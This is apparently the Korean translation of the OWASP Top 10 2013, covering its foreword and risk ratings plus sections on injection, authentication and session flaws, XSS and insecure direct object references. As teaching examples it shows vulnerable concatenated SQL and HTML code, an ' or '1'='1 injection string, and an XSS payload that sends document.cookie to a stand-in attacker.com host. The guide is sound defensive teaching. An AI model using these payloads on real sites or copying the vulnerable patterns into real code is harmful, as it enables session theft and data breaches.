가장심각한웹애플리케이션보안위험 10가지

http://www.owasp.or.kr에서배포

코리아챕터

O OWASP소개

저작권 및 라이선스

영문저작권 © 2003 – 2013 The OWASP Foundation한글본저작권 © 2011 – 2013 OWASP 코리아챕터

이문서는 Creative Commons Attribution ShareAlike 3.0 license의보호를받는다. 재사용또는배포할경우, 이저작물에적용된저작권을명확하게나타내야한다.

서문

안전하지않은소프트웨어는이미금융, 의료, 국방,에너지등기타핵심기반시설을약화시키고있습니다. 디지털기반시설은점점더복잡해지고서로연결됨에따라, 애플리케이션의보안을달성하기는더욱더어려워지고있습니다. OWASP Top 10이제시하는것처럼비교적단순한보안문제라고해서그냥간과해서는안됩니다.

Top 10 프로젝트의 목표는 조직에서 직면한 가장 중요한 몇 가지 위험요소를 식별해 애플리케이션 보안에 대한 인식을 향상시키는 데 있습니다. 많은 표준, 서적, 도구, 그리고 여러 기관(MITRE, PCI DSS, DISA, FTC 등)들이 Top 10 프로젝트를 참고하고 있습니다. 이번 OWASPTop 10 배포판은 애플리케이션 보안 위험의 중요성에대한 인식을 향상시키기 위한 노력을 시작한지 10년을기념하는 것이기도 하다. OWASP Top 10은 2003년 처음발간해 소규모 업데이트로 2004년판과 2007년판을 만들었고, 2010년판은위험뿐만아니라발생빈도에우선순위를 두고 개정하였습니다. 2013판도 동일한 방법으로 만들어졌습니다.

Top 10을 이용해 애플리케이션 보안을 시작하도록 권장합니다. 개발자는 다른 조직의 과실에서 배울 수 있고,경영진은 소프트웨어 애플리케이션 사용으로 인한 위험을 어떻게 관리할지 고려해야 합니다.

장기적으로 문화와 기술이 호환되는 애플리케이션 보안프로그램을 개발하는 것이 좋습니다. 이러한 프로그램은 다양한 형태와 범위에 걸쳐 만들어질 수 있으며, 다른 조직의 사례를 전부 그대로 도입하려 해서는 안됩니다. 대신에 기존의 조직의 강점을 활용하고 무엇이 효과적인지 측정해야 합니다.

OWASP Top 10이 애플리케이션 보안 발전에 도움이 되길 희망합니다. 질문, 의견 및 아이디어들은 언제든지owasp-topten@lists.owasp.org문의 바랍니다. 공개를원하지 않으시면 dave.wichers@owasp.org로 문의하시면 됩니다. 한글본은 yune.sung@owasp.org로 문의하시면 됩니다. 망설이지 말고 언제든지 OWASP에 문의해주기 바랍니다.

OWASP 소개

오픈웹애플리케이션보안프로젝트(OWASP)는개방커뮤니티로서, 기관이신뢰할수있는애플리케이션을개발, 구입, 유지관리하는데에기여하고있습니다. OWASP는아래모든것들을공개하며무상으로제공합니다.

• 애플리케이션보안도구와표준• 애플리케이션보안성시험, 안전한코드개발, 코드보안성검토와관련된서적

• 표준보안통제와라이브러리• 전세계지부• 최신의연구• 대규모전세계컨퍼런스• 메일링리스트

https://www.owasp.org 에서더많은정보를확인하실수있습니다.

애플리케이션보안성향상에관심있는모든이에게OWASP의도구, 문서, 포럼, 지부에대한모든것들이무료입니다. OWASP는애플리케이션보안에대해사람, 프로세스, 그리고기술의문제로서접근하고자합니다.애플리케이션보안에대한가장효과적인접근은이러한모든부분에서의향상이요구되기때문입니다.

OWASP는새로운형태의조직입니다. 상업적인목적이나이윤압박이없기때문에, 애플리케이션보안에대해공정하고, 실질적이고, 효율적인정보를제공할수있게합니다. OWASP는잘알려진상업적목적의보안기술에대한정보를제공하고있지만, 어떠한기업과도제휴나협약을맺고있지않습니다. OWASP도다른오픈소스소프트웨어프로젝트와마찬가지로협업과공개적인방식으로여러가지자료를만듭니다.

OWASP 재단은프로젝트의장기적성공을보장하기위한비영리기구입니다. OWASP 이사회, 글로벌위원회, 챕터대표, 프로젝트리더와프로젝트회원을포함하여, OWASP에참여하는거의모든분들은자원봉사자입니다. OWASP는혁신적인보안연구에대한자금및인프라를제공하고있습니다.

OWASP와함께하시기바랍니다!

환영의 글

OWASP Top 10 2013이 발표되었습니다. 이번업데이트는 2010년 Top 10에비해일반적이면서도중요한취약점분류기준을확대적용하였으며, 얼마나많이퍼져있는가를기준으로순위를재조정하였습니다. 또한 2010년 Top 10의‘A6:보안설정오류’의세부적인설명의모호함을해소하고자, 위협분류가운데컴포넌트보안을새로포함하였습니다.

OWASP Top 10 2013은 애플리케이션보안을전문으로하는 7개기업의 8개데이터세트를토대로하였습니다. 이데이터들은수백개기업, 수천개의애플리케이션에걸친 500,000개 이상의취약점들을포함하고있습니다. Top 10 각항목들은이가운데가장많이퍼져있는데이터를기준으로, 취약점공격가능성, 탐지가능성, 그리고영향평가등을함께고려하여선정되었습니다.

OWASP Top 10을선정하는가장큰이유는가장중요한웹애플리케이션의보안취약점개발자, 설계자, 아키텍트, 운영자, 혹은기관들에게주요웹애플리케이션보안취약점으로인한영향을알리기위해서입니다. Top 10은위험도가큰문제들에대해대응할수있는기본적인기술을제공하며, 또한이를근거로향후방향을제시하고있습니다.

주의사항

Top 10 이전부는 아니다. Top 10 외에도 OWASP 개발자가이드와 OWASP 참고쪽지시리즈에서수백개의웹애플리케이션위협요소들을다룹니다. 웹애플리케이션을개발하고자한다면꼭이내용들을검토해야합니다. 웹애플리케이션취약점을효과적으로발견하는방법에대해서는 OWASP 테스팅가이드와OWASP 코드리뷰가이드를참고하기바랍니다.

지속적인 변화. Top 10은계속변할것입니다. 새로운결함이발견되거나공격기법이진화하면서, 개발자가애플리케이션의코드한줄바꾸지않더라도취약점에노출될수있습니다. 관련한추가적인정보는 Top 10 문서마지막부분의 “개발자, 인증자및조직을위한다음단계”를참고하기바랍니다.

긍정적으로 생각하라. 여러분이취약점을계속추적하거나강력한애플리케이션보안통제를위한노력을멈추었을때도 OWASP는기관혹은애플리케이션검토자들이무엇을점검해야할것인가에대한가이드로애플리케이션보안점검표준(ASVS)을만들어왔습니다.

도구를 지혜롭게 활용하라. 보안취약점은아주복합적이고, 엄청난코드더미사이에잠복해있습니다. 일반적으로이러한약점들을찾아내고, 제거하는가장비용효과적인접근법은좋은도구를사용할수있는전문가를활용하는것입니다.

문화적 인식개선. 보안이개발조직전반에걸쳐필수적인요소라고인식하는문화를만들기위한노력이필요합니다. 오픈소프트웨어보증성숙도모델(SAMM)과the Rugged Handbook 에서더많은내용을살펴보기바랍니다.

감사의 글

2003년설립이후 OWASP Top 10을시작하고, 이끌고, 그리고업데이트를수행해준 Aspect Security와그창립자인 Jeff Williams와 Dave Wichers 에감사드립니다.

2013년업데이트를위해취약점데이터를제공해주신아래기관에도감사의말씀을전합니다.

Aspect Security – 통계자료 HP – Statistics from both Fortify and WebInspect Minded Security – 통계자료 Softtek – 통계자료 Trustwave, SpiderLabs – 통계자료 (50쪽참고) Veracode – 통계자료 WhiteHat Security Inc. – 통계자료

이전의 Top 10 버전에기여했던모든분들께감사드립니다. 이들의노력이없었다면, 지금의 Top 10도없었을것입니다. 또한Top 10 업데이트과정에시간을내서검토해주시고, 조언을아끼지않으셨던분들의노력에도감사드립니다.

Adam Baso (Wikimedia Foundation) Mike Boberski (Booz Allan Hamilton) Torsten Gigler Neil Smithline – (MorphoTrust USA) For producing the wiki

version of the Top 10, and also providing feedback

끝으로, Top 10 2013년한글버전제작을위해노력한전문가여러분께감사의말씀을드리며, 한글화프로젝트를후원한엔시큐어에게감사의말씀을전합니다.

I 소개

발간사RN

2010년도 버전 대비 2013년도 버전 변경 사항

애플리케이션보안위협은끊임없이변하고있다. 공격자들이만들어내는첨단기법, 내장된방어책뿐만아니라새로운취약점이있는신기술, 갈수록복잡해지는시스템의구축등의핵심요소들로인해진화하고있다. 이에맞추어, 우리는정기적으로 OWASP Top 10을업데이트한다. 이번 2013년도 판의변경사항은다음과같다:

1) Top 10 기준으로 ‘인증및세션관리취약점’이분포(확산) 측면에서상향조정. 이문제가실제로더욱확산되었다기보다는, 해당분야에대한연구와분석이활발히진행된결과라고판단한다. 이로인해 A2와 A3가순위를변경했다.

2) Top 10 기준으로 ‘크로스사이트요청변조(CSRF)’가 2010년도-A5에서 2013년도-A8으로 하향조정. CSRF가 6년간OWASP Top 10에속해있었기때문에각조직및프레임워크개발자들의노력의결과로, 실제애플리케이션내 CSRF 취약점수가줄었다고생각한다.

3) ‘URL 접근제한실패’가 2010 ‘URL 접근제한실패’항목이더욱포괄적인내용으로확장

+ 2010-A8: ‘URL 접근제한실패’가 2013-A7: ‘기능수준의접근통제누락’으로변경됨 – 기능수준의접근통제를모두다룸. URL 뿐만아니라, 어떤기능으로접근되고있는지명세하는방법은다양함

4) 2010-A7 및 2010-A9을 통합및확장하여 2013-A6: ‘민감데이터노출’로새로정의:

– 이는 2010-A7 – ‘불안정한암호저장’ 및 2010-A9 – ‘미흡한전송계층보호’가통합되고, 여기에브라우저측면의민감정보위험까지추가되어생성된신규카테고리이다. 해당신규카테고리는사용자가제공한민감데이터가애플리케이션으로보내져애플리케이션내에저장된다음, 브라우저로다시되돌려보내지는순간부터의민감데이터보호(2013-A4 및 2013-A7에서 다루는접근통제와구분)를다룬다.

5) 2013-A9: ‘알려진취약점있는컴포넌트이용’을추가:

+ 이문제는 2010-A6 – ‘보안설정오류’의일부로언급되었으나, 컴포넌트기반의개발이증가하고심화됨에따라알려진취약점있는컴포넌트사용위험이크게증가하여이제는고유한카테고리를갖게되었다.

OWASP Top 10 – 2010 (이전) OWASP Top 10 – 2013 (신규)

A1 – 인젝션 A1 – 인젝션

A3 – 인증및세션 관리취약점 A2 – 인증및세션 관리취약점

A2 – 크로스 사이트스크립팅 (XSS) A3 – 크로스 사이트스크립팅 (XSS)

A4 – 취약한 직접객체참조 A4 – 취약한 직접객체참조

A6 – 보안설정 오류 A5 – 보안설정 오류

A7 – 불안정한 암호저장 – A9와 통합됨 A6 – 민감데이터 노출

A8 – URL 접근제한 실패 – 확장됨 A7 – 기능수준의 접근통제 누락

A5 – 크로스 사이트요청 변조 (CSRF) A8 – 크로스 사이트요청 변조 (CSRF)

<A6에 포함되어 있었음: 보안 설정오류> A9 – 알려진 취약점이 있는컴포넌트 사용

A10 – 검증되지 않은리다이렉트 및포워드 A10 – 검증되지 않은리다이렉트 및포워드

A9 – 미흡한 전송계층보호 2010년도-A7이 2013년도-A6(신규)로 통합됨

Weakness

Attack

ThreatAgents

ImpactWeakness

Attack

AttackVectors

SecurityWeaknesses

TechnicalImpacts

BusinessImpacts

Attack

Impact

Impact

Asset

Function

Asset

Weakness

Control

Control

ControlWeakness

SecurityControls

애플리케이션보안위험Risk

참고 문서

OWASP

• OWASP 위험평가방법론

• 위협/위험모델링아티클

외부

• FAIR 정보위험프레임워크

• 마이크로소프트위협모델링 (STRIDE 및 DREAD)

어떤 위험이있는가?

OWASP Top 10은광범위한조직의가장심각한위험을식별하는데초점을맞추고있다. 우리는 OWASP 위험평가방법론에기초하여제시된간단한평가표를이용하여각각의위험에대한가능성과기술적인영향에관한포괄적인정보를제공한다.

여러분의환경과사업의상세한특징을알고있는사람은여러분뿐이다. 주어진애플리케이션에대해관련된공격을수행할수있는위협원은없을수도있으며, 또한여러분의사업에기술적인영향을미치지않을수도있다. 그래서여러분은회사에서각각의위험에대해위협원, 보안통제및사업적인영향에초점을맞추어스스로평가해야한다. 우리는위협원을특정애플리케이션에맞추어나열하고, 애플리케이션/사업에 맞게사업적영향을나열하였다. 이것은회사에있는애플리케이션의상세사항에따라달라지는것을알려주기위해서이다.

TOP10에소개된위험은공격형태와취약점형태, 그들이일으키는영향의유형에기초하여명명된것들이다. 우리는위험을정확히반영하고, 가능한경우많은사람들에게인식되고있는용어에맞추어이름을선택하였다.

애플리케이션 보안 위험이란?

공격자들은애플리케이션을 통해잠재적인많은경로를이용하여사업이나조직에피해를입힌다. 이가운데어떤경로들은너무미미해서설사찾아낸다고해도이를활용한공격이별효과가없는경우가있고, 또어떤경로들은매우위협적인경우도있다.

때로는이러한경로들을찾아내고공격하는것이쉬울수도있고, 어떤것은매우어려울수도있다. 마찬가지로이로인해발생한손해가경미한것일수도있고, 여러분사업을몰락시킬만큼중대한일일수도있다. 여러분은각각의위협원, 공격방법, 보안취약점과관련된가능성을평가하고, 이를통합하여조직에미치는기술적및사업적영향을평가할수있다. 동시에이러한요소들을근거로전체적인위험을판단할수도있다.

위협원 공격방법취약점분포

취약점탐지가능성

기술적영향

사업적영향

특정애플리케이션

쉬움 광범위 쉬움 심각함 특정애플리케이션 / 사업

평균 일반적 평균 중간

어려움 흔치않음 어려움 최소

SQL, 운영체제, LDAP 인젝션취약점은신뢰할수없는데이터가명령어나질의문의일부분으로서인터프리터로보내질때발생한다. 공격자의악의적인데이터는예상하지못하는명령을실행하거나적절한권한없이데이터에접근하도록인터프리터를속일수있다.

A1 – 인젝션

인증과세션관리와관련된애플리케이션기능은정확하게구현되어있지않아서, 공격자가패스워드, 키또는세션토큰을해킹하거나다른구현취약점을공격하여다른사용자 ID로가장할수있다.

A2 – 인증및 세션관리취약점

XSS 취약점은애플리케이션이신뢰할수없는데이터를가져와적절한검증이나제한없이웹브라우저로보낼때발생한다. XSS는공격자가피해자의브라우저에스크립트를실행하여사용자세션탈취, 웹사이트변조, 악의적인사이트로이동할수있다.

A3 – 크로스사이트스크립팅(XSS)

직접객체참조는개발자가파일, 디렉토리, 데이터베이스키와같은내부구현객체를참조하는것을노출시킬때발생한다. 접근통제를통한확인이나다른보호수단이없다면, 공격자는노출된참조를조작하여허가받지않은데이터에접근할수있다.

A4 – 취약한직접객체참조

훌륭한보안은애플리케이션, 프레임워크, 애플리케이션서버, 웹서버, 데이터베이스서버및플랫폼에대해보안설정이정의되고적용되어있다. 기본으로제공되는값은종종안전하지않기때문에보안설정은정의, 구현및유지되어야한다. 또한소프트웨어는최신의상태로유지해야한다.

A5 – 보안설정오류

많은웹애플리케이션들이 신용카드, 개인식별정보및인증정보와같은중요한데이터를제대로보호하지않는다. 공격자는신용카드사기, 신분도용또는다른범죄를수행하는등약하게보호된데이터를훔치거나변경할수있다. 중요데이터가저장또는전송중이거나브라우저와교환하는경우특별히주의하여야하며, 암호화와같은보호조치를취해야한다.

A6 – 민감데이터노출

대부분의웹애플리케이션은 UI에해당기능을보이게하기전에기능수준의접근권한을확인한다. 그러나, 애플리케이션은 각기능에접근하는서버에동일한접근통제검사를수행한다. 요청에대해적절히확인하지않을경우공격자는적절한권한없이기능에접근하기위한요청을위조할수있다.

A7 – 기능수준의접근통제누락

CSRF 공격은로그온된피해자의취약한웹애플리케이션에피해자의세션쿠키와기타다른인증정보를자동으로포함하여위조된 HTTP 요청을강제로보내도록하는것이다. 이것은공격자가취약한애플리케이션이피해자로부터의정당한요청이라고오해할수있는요청들을강제로만들수있다.

A8 – 크로스사이트요청변조(CSRF)

컴포넌트, 라이브러리, 프레임워크및다른소프트웨어모듈은대부분항상전체권한으로실행된다. 이러한취약한컴포넌트를악용하여공격하는경우심각한데이터손실이발생하거나서버가장악된다. 알려진취약점이있는컴포넌트를사용하는애플리케이션은애플리케이션방어체계를손상하거나, 공격가능한범위를활성화하는등의영향을미친다.

A9 – 알려진취약점이있는컴포넌트사용

웹애플리케이션은종종사용자들을다른페이지로리다이렉트하거나포워드하고, 대상페이지를결정하기위해신뢰할수없는데이터를사용한다. 적절한검증절차가없으면공격자는피해자를피싱또는악성코드사이트로리다이렉트하거나승인되지않은페이지에접근하도록전달할수있다.

A10 – 검증되지않은리다이렉트및

포워드

OWASP Top 10 애플리케이션보안위험 – 2013 T10

특정애플리케이션공격가능성

쉬움취약점 분포

보통탐지가능성

평균영향도심각

특정애플리케이션/ 사업

내부및외부사용자들그리고관리자들을포함하여시스템에신뢰할수없는데이터를보낼수있는사람들을고려해야한다.

공격자는목표가된인터프리터구문을악용하는간단한텍스트기반의공격을전송한다. 거의모든데이터의소스는내부소스들을포함해서인젝션경로로활용될수있다.

인젝션결함은애플리케이션이인터프리터에신뢰할수없는데이터를전송할때발생하며특히과거에개발된코드에서매우일반적이다. 또한 SQL, LDAP, Xpath, 또는 NoSQL 질의; 운영체제명령어; XML 파서, SMTP 헤더, 프로그램인수, 기타등등들에서자주발견된다. 인젝션결함은코드검증으로쉽게발견되지만, 시험으로는발견하기가매우어렵다. 스캐너들과Fuzzer들은공격자가인젝션결함을발견하는데도움을줄수있다.

인젝션은데이터손실또는파괴,책임추적성결여또는서비스거부의결과를초래할수있다. 때때로인젝션은호스트를완전하게탈취할수있다.

영향을받은데이터와인터프리터를운영하는플랫폼의비즈니스가치를고려해야한다. 모든데이터는탈취되고, 변조되거나삭제될수있다. 여러분의평판이훼손될수있다.

공격자 시나리오 예시시나리오 #1: 애플리케이션은아래와같이취약한 SQL 호출문구조의신뢰할수없는데이터를사용한다:

String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") + "'";

시나리오 #2: 유사하게, 프레임워크에서애플리케이션의암묵적신뢰는 SQL 질의들에대한취약점이발생한다. (예, Hibernate Query Language (HQL)):

Query HQLQuery = session.createQuery(“FROM accountsWHERE custID='“ + request.getParameter("id") + "'");

두경우공격자는 ‘id’ 변수값을 ' or '1'='1 로수정한다. 예를들어

http://example.com/app/accountView?id=' or '1'='1

기존두 SQL 질의를계정테이블의모든레코드들의값을반환하는 SQL 질의로변경한다. 좀더위협적으로데이터를변경하거나, 저장된프로시저를호출하는공격을할수있다.

인젝션 취약성 확인 방법애플리케이션이인젝션에취약한지알아내는가장좋은방법은모든인터프리터들의사용으로신뢰할수없는데이터를명령어또는질의로부터명확하게분리하는것이다. 이말은 SQL 호출시모든준비된구문과저장된프로시저에서 바인드변수들을사용하고동적질의를피해야한다.

애플리케이션이안전하게인터프리터를사용하는지알아보기위한빠르고정확한방법은코드를검사하는것이다. 코드분석도구는보안분석가가인터프리터의사용과애플리케이션을통한데이터흐름을찾는데도움을준다. 침투시험전문가들은취약점을확인하기위한익스플로이트를만들어서이러한문제들을검증한다.

자동화된동적스캐닝을이용해서애플리케이션실행하면몇몇악용되는인젝션결함이존재하는지알수있다. 스캐너들은항상인터프리터들을찾을수없고공격의성공여부를감지하기는어렵다. 잘못된에러처리를잘못하면인젝션결함을더쉽게찾을수있다.

참고 문서OWASP

• OWASP SQL 인젝션예방참고쪽지

• OWASP Query Parameterization 참고쪽지

• OWASP 명령어인젝션아티클

• OWASP XML eXternal Entity (XXE) 참고아티클

• ASVS: 출력인코딩/이스케이핑요구사항 (V6)

• OWASP 테스팅가이드: SQL 인젝션시험챕터

외부

• CWE 77 항목 : 명령어인젝션

• CWE 89 항목 : SQL 인젝션

• CWE 564 항목 : 하이버네이트인젝션

인젝션 예방 방법인젝션을예방하기위해서는신뢰할수없는데이터를명령어들과질의들로부터분리해야한다.

1. 선호되는방법은전체적으로인터프리터를사용하지않는안전한 API 또는변수화된인터페이스를제공하여사용하는것이다. 변수화되었지만인젝션을유발할수있는저장된프로시저들과같은 API 사용시 주의해야한다.

2. 만약변수화된 API를사용할수없을때는이러한인터프리터에특화된이스케이핑구문을사용해서특수문자를신중하게처리해야한다. OWASP’s ESAPI 는이것에대해 많은이스케이핑루틴을제공한다.

3. 긍정적또는 “화이트리스트” 입력검증은또한권장되지만그들의입력에관해서애플리케이션은특수문자를요구하기때문에완벽하게방어하지못한다. 만약특수문자들이필요한경우오직 1번과 2번접근법만유효하다.또한 이것을통해안전하게사용할수있을것이다. OWASP’s ESAPI 는화이트리스트입력검증루틴의 확장가능한라이브러리를가지고있다.

A1 인젝션

보안취약성

공격방법

기술적영향위협원

사업적영향

특정애플리케이션공격가능성

평균취약점 분포

광범위탐지가능성

평균영향도심각

특정애플리케이션/ 사업

정상적인계정소유자뿐만아니라, 익명의외부공격자도다른사람의계정을훔칠수있다. 마찬가지로자신의행동을위장하려는정상적인내부사용자도고려해야한다.

공격자는인증또는세션관리기능의정보누출및결함(예를들어노출된계정, 패스워드, 세션 ID)을이용하여다른

사용자로가장한다 .

개발자는흔히사용자정의형태의인증및세션관리방식을개발하지만, 이들은정확하게개발되기어렵다. 결과적으로, 이러한사용자정의방식은흔히로그아웃, 패스워드관리, 타임아웃, 로그인상태유지, 비밀질문, 계정업데이트등과같은영역에서의결함을가진다. 각각고유한형태로구현되기때문에, 이러한결함을발견하는것은때때로어려울수있다.

이러한결함으로일부또는모든계정이공격당할수있다. 공격이성공하면, 공격자는피해자가할수있는모든것을할수있다. 특별한권한을가진계정을자주공격대상이된다.

영향을받는데이터및애플리케이션기능의사업적가치를고려해야한다.

또한 취약점이 일반에게 공개될 경우의사업적 영향을 고려해야한다.

공격 시나리오예시시나리오 #1: 항공사예약애플리케이션은 URL 덮어쓰기를지원하고있고, 다음 URL에서세션 ID를표시한다.

http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii

사이트에서인증사용자는친구들에게할인소식을알리고싶어자신의세션 ID가누설된다는것을알지못한채상기링크를메일로전한다. 친구들은해당링크를사용하여세션및신용카드를사용한다.

시나리오 #2: 애플리케이션에는타임아웃기능이설정되지않았다. 공공장소의컴퓨터로사이트에접근한사용자가“로그아웃”을선택하는대신에단순히브라우저탭을닫고서자리를떠난다. 한시간이후공격자가동일한브라우저를사용하는데, 브라우저는여전히인증된상태를유지하고있다.

시나리오 #3: 내부혹은외부공격자가시스템의패스워드데이터베이스에대한접근을획득한다. 사용자패스워드는해시되지않았고, 모든사용자의패스워드가공격자에게노출된다.

하이재킹 취약성 확인 방법사용자인증정보및세션 ID와같은세션관리자산은적절히보호되고있는가? 다음의경우는취약할수있다:

1. 사용자인증정보가저장될때해시또는암호화를사용하여보호되지않는다. A6 참고.

2. 인증정보가취약한계정관리기능(예를들어계정생성, 패스워드변경, 패스워드복구, 취약한세션 ID)을통해추측되거나덮어쓰기가가능하다.

3. 세션 ID가 URL에노출된다(예를들어, URL 다시쓰기).

4. 세션 ID가세션고정공격에취약하다.

5. 세션 ID가타임아웃되지않거나, 사용자세션또는인증토큰, 특히싱글사인온(SSO) 토큰이로그아웃된동안적절히무효화되지않는다.

6. 세션 ID가성공적인로그인이후교체되지않는다.

7. 패스워드, 세션 ID 및기타증명이암호화되지않은연결을통해전송된다. A6 참고.

자세한사항은 ASVS 요구사항영역 V2 및 V3 참고.

참고 문서OWASP

해당영역을방지하기위한요구사항및문제점의보다완벽한집합을위해, 인증(V2) 및세션관리(V3)를위한ASVS 요구사항영역을참고하세요.

• OWASP 인증참고쪽지

• OWASP 패스워드분실참고쪽지

• OWASP 세션관리참고쪽지

• OWASP 개발가이드: ‘인증’ Chapter

• OWASP 테스팅가이드: ‘인증’ Chapter

외부

• CWE Entry 287 on 부적절한인증

• CWE Entry 384 on 세션고정

예방 방법조직에서개발자들이다음사항을지킬수있도록권고한다:

1. 하나의 강력한인증 및세션관리 통제항목. 이러한통제사항은다음사항이지켜지도록노력해야한다:

a) OWASP 애플리케이션보안검증표준(ASVS) 영역V2(인증) 및 V3(세션관리)의모든인증및세션관리요구사항을만족

b) 개발자들을위한단순한인터페이스. ESAPI 인증자및사용자 API를좋은사례로써모방, 사용하거나기반으로하여개발하는것을고려해야한다.

2. 세션 ID 탈취에사용될수있는 XSS 결함을피하도록하는강력한노력또한필요하다. A3 참고.

A2 인증및세션관리취약점

보안취약성

공격방법

기술적영향위협원

사업적영향

특정애플리케이션공격가능성

평균취약점 분포매우광범위

탐지가능성쉬움

영향도중간

특정애플리케이션/ 사업

외부 사용자, 내부 사용자 및 관리자를 포함하여 시스템에 신뢰할 수 없는 데이터를 보낼 수 있는 사람을고려해야한다.

공격자는 브라우저에서 인터프리터를공격할 수 있는 텍스트 기반 공격 스크립트를 전송한다. 데이터베이스에서 오는내부 데이터뿐만 아니라 거의 모든 형태의 데이터가 공격에활용될수있다.

XSS는가장널리알려진웹애플리케이션보안결함이다. XSS는애플리케이션에서브라우저로전송하는페이지에서사용자가입력하는데이터를검증하거나이스케이핑하지않을때발생한다. XSS 결함은 3가지종류가있는것으로알려져있다. 1) 저장 XSS, 2) 반사 XSS, 3) DOM 기반 XSS.

대부분의 XSS 결함은시험또는코드분석을통해쉽게검출할수있다.

공격자는 사용자 세션 하이재킹, 웹사이트 변조, 공격 콘텐츠삽입, 사용자 리디렉션, 악성코드를 사용한 사용자 브라우저를 하이재킹하기 위하여 피해자 브라우저에서 스크립트를실행할수있다.

영향 받는 시스템의사업적 가치와 처리되는 모든 데이터를고려해야한다.

또한 취약점이 일반에게 공개될 경우에사업적 영향을 고려해야한다.

공격 시나리오예시애플리케이션은아래와같이유효성검사또는이스케이핑없이다음의 HTML 조각(snippet)을 구성에서신뢰할수없는데이터를사용한다:

(String) page += "<input name='creditcard' type='TEXT‘value='" + request.getParameter("CC") + "'>";

공격자는자신의의브라우저에서 ‘CC’ 매개변수를수정한다:

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

이경우피해자의세션 ID가공격자의웹사이트로전송되며, 공격자가사용자의현재세션을이용할수있다.

또한공격자는 XSS를사용해서애플리케이션이적용한자동화된CSRF 방어를무력화할수있다. A8 CSRF 정보참고.

XSS 취약성 확인 방법출력페이지에서해당입력값을포함하기전에, 모든사용자가제공한입력이제대로이스케이프되었는지확인하지않거나, 입력유효성검사를통해안전을검증하지않는다면 XSS에취약하다. 적절한출력값이스케이핑또는유효성검사없이, 브라우저에서입력이되면활성화된콘텐츠로처리된다.동적으로페이지를업데이트하는데 Ajax를사용하는경우, 여러분은안전한 JavaScript APIs 를사용하고있는가? 안전하지않은자바스크립트 API에대한인코딩또는유효성검사도해야한다.

자동화된도구는자동적으로일부 XSS 문제점을발견할수있다. 하지만, 각각의애플리케이션은다른방식으로출력페이지를구축하고, 자바스크립트, ActiveX, 플래쉬및실버라이트등과같은다른브라우저인터프리터를사용하기때문에, 자동탐지는어렵다. 따라서, 자동접근방식뿐만아니라, 전체적인범위에서수동으로코드를검토하고, 침투시험이필요하다.

자동화된도구로 Ajax와같은웹 2.0 기술에서 XSS를탐지하는것은더욱어렵다.

참고 문서OWASP

• OWASP XSS 예방참고쪽지

• OWASP DOM 기반 XSS 예방참고쪽지

• OWASP 크로스사이트스크립팅아티클

• ESAPI 인코더 API

• ASVS: 출력인코딩/이스케이핑요구사항(V6)

• OWASP AntiSamy: Sanitization Library

•테스팅가이드: 1st 3 Chapters on Data Validation Testing

• OWASP 코드리뷰가이드: Chapter on XSS Review

• OWASP XSS 필터우회참고쪽지

외부

• CWE 79 항목 : 크로스사이트스크립팅g

XSS 예방 방법XSS를방지하려면, 활성브라우저콘텐츠와신뢰할수없는데이터를분리해야한다.

1. 선호하는방법은 HTML 문맥(본문, 속성, 자바스크립트, CSS, 또는 URL)에따라모든신뢰할수없는데이터를올바르게이스케이핑하는것이다. 데이터이스케이핑기술에필요한자세한내용은 OWASP XSS 예방참고쪽지를참고하기바란다.

2. 또한 XSS를방지하기위해서는입력값검증시포지티브또는 “화이트리스트” 방식을권장한다. 하지만많은애를리케이션에서입력값에특수문자가필요하므로, 완벽하게방어되지는않는다. 이러한유효성검사는입력으로승인하기전에가능하면, 해당데이터에대한길이, 문자, 형식및사업적규칙유효성을검사해야한다.

3. 풍부한콘텐츠, OWASP AntiSamy 또는 Java HTML Sanitizer Project와같은 auto-sanitization 라이브러리를고려해야한다.

4. XSS를방어하기위하여, 전체사이트에콘텐츠보안정책(CSP)을고려해야한다.

A3 크로스사이트스크립팅 (XSS)

보안취약성

공격방법

기술적영향위협원

사업적영향

특정애플리케이션공격가능성

쉬움취약점 분포

일반적탐지가능성

쉬움영향도중간

특정애플리케이션/ 사업

시스템사용자의유형을고려해야한다. 어떤사용자는특정유형의시스템데이터에대해서부분적인접근권한을가지고있는가?

시스템사용자로서권한을가지고있는공격자는시스템객체에서권한이없는또다른객체를직접참조하는인자값들을간단히변경할수있다. 접근이승인되었나?

애플리케이션은웹페이지를생성할때객체실제키나이름을자주사용한다. 애플리케이션은사용자가목적지객체에대해서승인받았는지를항상검증하지는않는다. 이것으로인해직접적인객체참조시취약점이발생한다. 시험전문가는이같은결함을탐지하기위해쉽게인자값들을조작할수있다. 코드분석을하면권한이검증되었는지더쉽게알수있다.

이러한결함은파라미터에의해참조되는모든데이터를침해할수있다. 객체참조가예측불가능한것이라면, 공격자가모든가용할수있는종류의데이터에접근할수있다.

노출된데이터의사업적가치를고려해야한다.

또한취약점이일반에게공개될경우의사업적영향을고려해야한다.

공격 시나리오예시애플리케이션은계정정보에접근하는 SQL 구문에검증되지않은데이터를이용한다.

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =connection.prepareStatement(query , … );

pstmt.setString( 1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

공격자는그녀가원하는계좌번호가무엇이든간에웹브라우저를통해서보내기위한 acct 인자를변경한다. 만약적절히검증되지않는다면의도된자신의계정이외에공격자는쉽게다른이의계정에접근가능하다.

http://example.com/app/accountInfo?acct=notmyacct

취약성 확인 방법애플리케이션이안전하지못한방식으로객체를직접참조하는것이취약한지알아보는가장좋은방법은모든객체참조시적절한보안을취하고있는지검증하는것이다. 이를위해고려해야하는것은다음과같다.

1. 제한된자원에직접적으로참조하는경우,애플리케이션에서사용자가요청한정확한자원에접근할수있도록승인이되었는지검증하지않는가?

2. 만약이러한참조가간접적인참조라면, 직접참조에대한매핑은기존사용자에게허용된값으로만제한하지않는가?

애플리케이션코드검토를통해각각의접근이안전하게실행되는지를검증할수있다. 시험을하면직접적인객체참조를확인하거나안전한지아닌지확인할수있다. 자동화된도구는보호할것이무엇인지또는무엇이안전하고불안전한지알지못하기때문에이같은결함을찾을수없다.

참고 문서OWASP

• OWASP Top 10-2007 취약한직접객체참조

• ESAPI 접근참조맵 API

• ESAPI 접근통제 API (See isAuthorizedForData(),

isAuthorizedForFile(), isAuthorizedForFunction() )

추가적인접근통제요구사항은 ASVS 요구사항부분의접근통제(V4) 참고.

외부

• CWE 639 항목 : 취약한직접객체참조

• CWE 22 항목 : 경로추적 (직접객체참조공격사례)

